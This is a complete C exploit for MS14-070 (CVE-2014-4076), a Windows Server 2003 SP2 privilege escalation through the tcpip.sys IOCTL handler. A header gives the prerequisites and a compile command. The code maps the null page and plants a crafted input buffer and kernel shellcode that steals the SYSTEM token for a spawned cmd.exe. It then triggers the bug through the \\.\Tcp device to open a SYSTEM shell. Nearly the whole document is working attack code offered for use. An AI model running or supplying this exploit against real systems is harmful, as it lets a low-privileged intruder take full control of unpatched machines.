Microsoft Windows Server 2003 SP2 - TCP/IP IOCTL Privilege Escalation (MS14-070)

/*
################################################################
# Exploit Title: Windows 2k3 SP2 TCP/IP IOCTL Privilege Escalation (MS14-070)
# Date: 2015-08-10
# Exploit Author: Tomislav Paskalev
# Vulnerable Software:
#   Windows 2003 SP2 x86
#   Windows 2003 SP2 x86-64
#   Windows 2003 SP2 IA-64
# Supported vulnerable software:
#   Windows 2003 SP2 x86
# Tested on:
#   Windows 2003 SP2 x86 EN
# CVE ID:   2014-4076
# OSVDB-ID: 114532
################################################################
# Vulnerability description:
#   Windows TCP/IP stack (tcpip.sys, tcpip6.sys) fails to
#   properly handle objects in memory during IOCTL processing.
#   By crafting an input buffer that will be passed to the TCP
#   device through the DeviceIoControlFile() function, it is
#   possible to trigger a vulnerability that would allow an
#   attacker to elevate privileges.
#   An attacker who successfully exploited this vulnerability
#   could run arbitrary code in kernel mode (i.e. with SYSTEM
#   privileges).
################################################################
# Exploit notes:
#   Privileged shell execution:
#     - the SYSTEM shell will spawn within the existing shell
#       (i.e. exploit usable via a remote shell)
#       - upon exiting the SYSTEM shell, the parent process
#         will become unresponsive/hang
#   Exploit compiling:
#     - # i586-mingw32msvc-gcc MS14-070.c -o MS14-070.exe
#   Exploit prerequisites:
#     - low privilege access to the target (remote shell or RDP)
#     - target not patched (KB2989935 not installed)
################################################################
# Patch:
#   https://www.microsoft.com/en-us/download/details.aspx?id=44646
################################################################
# Thanks to:
#   KoreLogic (Python PoC)
#   ChiChou (C++ PoC)
################################################################
# References:
#   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-4076
#   https://technet.microsoft.com/library/security/ms14-070
#   https://www.exploit-db.com/exploits/35936/
#   https://github.com/ChiChou/CVE-2014-4076/blob/master/CVE-2014-4076/CVE-2014-4076.cpp
#   https://www.osronline.com/article.cfm?article=229
################################################################
*/


#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>




typedef enum _SYSTEM_INFORMATION_CLASS {
        SystemBasicInformation                = 0,
        SystemPerformanceInformation          = 2,
        SystemTimeOfDayInformation            = 3,
        SystemProcessInformation              = 5,
        SystemProcessorPerformanceInformation = 8,
        SystemInterruptInformation            = 23,
        SystemExceptionInformation            = 33,
        SystemRegistryQuotaInformation        = 37,
        SystemLookasideInformation            = 45
} SYSTEM_INFORMATION_CLASS;


typedef DWORD NTSTATUS;
NTSTATUS WINAPI NtQuerySystemInformation (
        SYSTEM_INFORMATION_CLASS   SystemInformationClass,
        PVOID                      SystemInformation,
        ULONG                      SystemInformationLength,
        PULONG                     ReturnLength
);


typedef struct _IO_STATUS_BLOCK {
        union {
                NTSTATUS           Status;
                PVOID              Pointer;
        };
        ULONG_PTR                  Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;


typedef void (WINAPI * PIO_APC_ROUTINE) (PVOID, PIO_STATUS_BLOCK, ULONG);


NTSTATUS (WINAPI *ZwAllocateVirtualMemory) (
        HANDLE                     ProcessHandle,
        PVOID                      *BaseAddress,
        ULONG_PTR                  ZeroBits,
        PSIZE_T                    RegionSize,
        ULONG                      AllocationType,
        ULONG                      Protect
);


NTSTATUS (WINAPI *ZwDeviceIoControlFile) (
        HANDLE                     FileHandle,
        PVOID                      ApcContext,
        PIO_STATUS_BLOCK           IoStatusBlock,
        ULONG                      IoControlCode,
        PVOID                      InputBuffer,
        ULONG                      InputBufferLength,
        PVOID                      OutputBuffer,
        ULONG                      OutputBufferLength
);




BOOL WINAPI CreateNewCmdProcess (STARTUPINFO *startupInformation, PROCESS_INFORMATION *processInformation)
{
        ZeroMemory (&startupInformation[0], sizeof (STARTUPINFO));
        startupInformation->cb = sizeof (STARTUPINFO);
        ZeroMemory (&processInformation[0], sizeof (PROCESS_INFORMATION));

        // Start the child process.
        return CreateProcess (
                NULL,                                                           // No module name (use command line)
                "c:\\windows\\system32\\cmd.exe /K cd c:\\windows\\system32",   // Start cmd.exe
                NULL,                                                           // Process handle not inheritable
                NULL,                                                           // Thread handle not inheritable
                TRUE,                                                           // Set handle inheritance to TRUE
                0,                                                              // No creation flags
                NULL,                                                           // Use parent's environment block
                NULL,                                                           // Use parent's starting directory
                &startupInformation[0],                                         // Pointer to STARTUPINFO structure
                &processInformation[0]                                          // Pointer to PROCESS_INFORMATION structure
        );
}




unsigned long SwapBytes (unsigned long inputByteUL)
{
        return (((inputByteUL&0x000000FF) << 24) + ((inputByteUL&0x0000FF00) << 8) +
        ((inputByteUL&0x00FF0000) >> 8) + ((inputByteUL&0xFF000000) >> 24));
}




BOOL WriteToAllocMem (unsigned char *exploitBuffer, unsigned char *shellcode)
{
        int returnAllocMemValue1, returnAllocMemValue2, returnAllocMemValue3, returnAllocMemValue4, returnAllocMemValue5;

        returnAllocMemValue1 = WriteProcessMemory (
                (HANDLE) 0xFFFFFFFF,
                (LPVOID) 0x28,
                "\x87\xff\xff\x38",
                4,
                NULL
        );
        returnAllocMemValue2 = WriteProcessMemory (
                (HANDLE) 0xFFFFFFFF,
                (LPVOID) 0x38,
                "\x00\x00",
                2,
                NULL
        );
        returnAllocMemValue3 = WriteProcessMemory (
                (HANDLE) 0xFFFFFFFF,
                (LPVOID) 0x1100,
                &exploitBuffer[0],
                32,
                NULL
        );
        returnAllocMemValue4 = WriteProcessMemory (
                (HANDLE) 0xFFFFFFFF,
                (LPVOID) 0x2b,
                "\x00\x00",
                2,
                NULL
        );
        returnAllocMemValue5 = WriteProcessMemory (
                (HANDLE) 0xFFFFFFFF,
                (LPVOID) 0x2000,
                &shellcode[0],
                96,
                NULL
        );

        if (returnAllocMemValue1 == 0 ||
        returnAllocMemValue2 == 0 ||
        returnAllocMemValue3 == 0 ||
        returnAllocMemValue4 == 0 ||
        returnAllocMemValue5 == 0)
                return FALSE;
        else
                return TRUE;
}




int main (void)
{
        fprintf (stderr, "[*] MS14-070 (CVE-2014-4076) x86\n");
        fprintf (stderr, "    [*] by Tomislav Paskalev\n");
        fflush (stderr);


        ////////////////////////////////
        // CREATE NEW CME.EXE PROCESS
        ////////////////////////////////

        STARTUPINFO *startupInformation = (STARTUPINFO *) malloc (sizeof (STARTUPINFO));
        PROCESS_INFORMATION *processInformation = (PROCESS_INFORMATION *) malloc (sizeof (PROCESS_INFORMATION));

        if (!CreateNewCmdProcess (&startupInformation[0], &processInformation[0]))
        {
                fprintf (stderr, "[-] Creating a new process failed\n");
                fprintf (stderr, "    [*] Error code   : %d\n", GetLastError());
                fflush (stderr);
                ExitProcess (1);
        }

        fprintf (stderr, "[+] Created a new cmd.exe process\n");
        fflush (stderr);


        ////////////////////////////////
        // CONVERT PID TO HEX LE
        ////////////////////////////////

        unsigned long pidLittleEndian = SwapBytes ((unsigned long) processInformation->dwProcessId);
        fprintf (stderr, "    [*] PID [dec]    :   %#8lu\n", (unsigned long) processInformation->dwProcessId);
        fprintf (stderr, "    [*] PID [hex]    : %#010x\n", (unsigned long) processInformation->dwProcessId);
        fprintf (stderr, "    [*] PID [hex LE] : %#010x\n", pidLittleEndian);

        /*four bytes of hex = 8 characters, plus NULL terminator*/
        unsigned char pidLittleEndianString[9];

        sprintf (&pidLittleEndianString[0], "%04x", pidLittleEndian);


        ////////////////////////////////
        // CREATE SHELLCODE
        ////////////////////////////////

        unsigned char exploitBuffer[] =
        "\x00\x04\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00"
        "\x22\x00\x00\x00\x04\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00";
        unsigned char shellcode[] =
        "\x60\x64\xA1\x24\x01\x00\x00\x8B\x40\x38\x50\xBB\x04\x00\x00\x00"
        "\x8B\x80\x98\x00\x00\x00\x2D\x98\x00\x00\x00\x39\x98\x94\x00\x00"
        "\x00\x75\xED\x8B\xB8\xD8\x00\x00\x00\x83\xE7\xF8\x58\xBB\x41\x41"
        "\x41\x41\x8B\x80\x98\x00\x00\x00\x2D\x98\x00\x00\x00\x39\x98\x94"
        "\x00\x00\x00\x75\xED\x89\xB8\xD8\x00\x00\x00\x61\xBA\x11\x11\x11"
        "\x11\xB9\x22\x22\x22\x22\xB8\x3B\x00\x00\x00\x8E\xE0\x0F\x35\x00";

        int counter;
        for (counter = 0; counter < 4; counter++)
        {
                char buffer[3] = {pidLittleEndianString[counter * 2], pidLittleEndianString[(counter * 2) + 1], 0};
                shellcode[46 + counter] = strtol (buffer, NULL, 16);
        }

        shellcode[77] = strtol ("39", NULL, 16);
        shellcode[78] = strtol ("ff", NULL, 16);
        shellcode[79] = strtol ("a2", NULL, 16);
        shellcode[80] = strtol ("ba", NULL, 16);

        shellcode[82] = strtol ("0", NULL, 16);
        shellcode[83] = strtol ("0", NULL, 16);
        shellcode[84] = strtol ("0", NULL, 16);
        shellcode[85] = strtol ("0", NULL, 16);

        fprintf (stderr, "[+] Modified shellcode\n");
        fflush (stderr);


        ////////////////////////////////
        // CREATE HANDLE ON TCPIP.SYS
        ////////////////////////////////

        HANDLE tcpIPDeviceHandle = CreateFileA (
                "\\\\.\\Tcp",
                0,
                0,
                NULL,
                OPEN_EXISTING,
                0,
                NULL
        );

        if (tcpIPDeviceHandle == INVALID_HANDLE_VALUE)
        {
                printf ("[-] Opening TCP/IP I/O dev failed\n");
                printf ("    [*] Error code   : %d\n", GetLastError());
                ExitProcess (1);
        }

        fprintf (stderr, "[+] Opened TCP/IP I/O device\n");
        fflush (stderr);


        ////////////////////////////////
        // ALLOCATE MEMORY - FIRST PAGE
        ////////////////////////////////

        FARPROC ZwAllocateVirtualMemory;

        ZwAllocateVirtualMemory = GetProcAddress (GetModuleHandle ("NTDLL.DLL"), "ZwAllocateVirtualMemory");

        fprintf (stderr, "[*] ntdll.dll address: 0x%p\n", ZwAllocateVirtualMemory);
        fflush (stderr);

        NTSTATUS AllocMemReturnCode;
        ULONG BaseAddress = 0x1000, RegionSize = 0x4000;

        AllocMemReturnCode = ZwAllocateVirtualMemory (
                (HANDLE) 0xFFFFFFFF,
                &BaseAddress,
                0,
                &RegionSize,
                MEM_COMMIT | MEM_RESERVE,
                PAGE_EXECUTE_READWRITE
        );

        if (AllocMemReturnCode != 0)
        {
                printf ("[-] Allocating memory failed\n");
                printf ("    [*] Error code   : %#X\n", AllocMemReturnCode);
                ExitProcess (1);
        }

        fprintf (stderr, "[+] Allocated memory\n");
        fprintf (stderr, "    [*] BaseAddress  : 0x%p\n", BaseAddress);
        fprintf (stderr, "    [*] RegionSize   : %#010x\n", RegionSize);
        fflush (stderr);


        ////////////////////////////////
        // WRITE EXPLOIT TO PROCESS MEM
        ////////////////////////////////

        fprintf (stderr, "[*] Writing exploit...\n");
        fflush (stderr);

        if (!WriteToAllocMem (&exploitBuffer[0], &shellcode[0]))
        {
                fprintf (stderr, "    [-] Failed to write to memory\n");
                fprintf (stderr, "        [*] Err code : %d\n", GetLastError ());
                fflush (stderr);
                ExitProcess (1);
        }
        else
        {
                fprintf (stderr, "    [+] done\n");
                fflush (stderr);
        }


        ////////////////////////////////
        // SEND EXPLOIT TO TCPIP.SYS
        ////////////////////////////////

        fprintf (stderr, "[*] Spawning SYSTEM shell...\n");
        fprintf (stderr, "    [*] Parent proc hangs on exit\n");
        fflush (stderr);

        FARPROC ZwDeviceIoControlFile;
        NTSTATUS DevIoCtrlReturnCode;
        ULONG ioStatus = 8;

        ZwDeviceIoControlFile = GetProcAddress (GetModuleHandle ("NTDLL.DLL"), "ZwDeviceIoControlFile");

        DevIoCtrlReturnCode = ZwDeviceIoControlFile (
                tcpIPDeviceHandle,
                NULL,
                NULL,
                NULL,
                (PIO_STATUS_BLOCK) &ioStatus,
                0x00120028,                                //Device: NETWORK (0x12)
                                                        //Function: 0xa
                                                        //Access: FILE_ANY_ACCESS
                                                        //Method: METHOD_BUFFERED
                (PVOID) 0x1100,                                //NULL,                //Test
                32,                                        //0,                //Test
                NULL,
                0
        );

        if (DevIoCtrlReturnCode != 0)
        {
                fprintf (stderr, "    [-] Exploit failed (->TCP/IP)\n");
                fprintf (stderr, "        [*] Err code : %d\n", GetLastError ());
                fflush (stderr);
                ExitProcess (1);
        }


        ////////////////////////////////
        // WAIT FOR CHILD PROCESS; EXIT
        ////////////////////////////////

        // Wait until child process exits.
        WaitForSingleObject (processInformation->hProcess, INFINITE);

        fprintf (stderr, "[*] Exiting SYSTEM shell...\n");
        fflush (stderr);

        // Close process and thread handles.
        CloseHandle (tcpIPDeviceHandle);
        CloseHandle (processInformation->hProcess);
        CloseHandle (processInformation->hThread);

        return 1;
}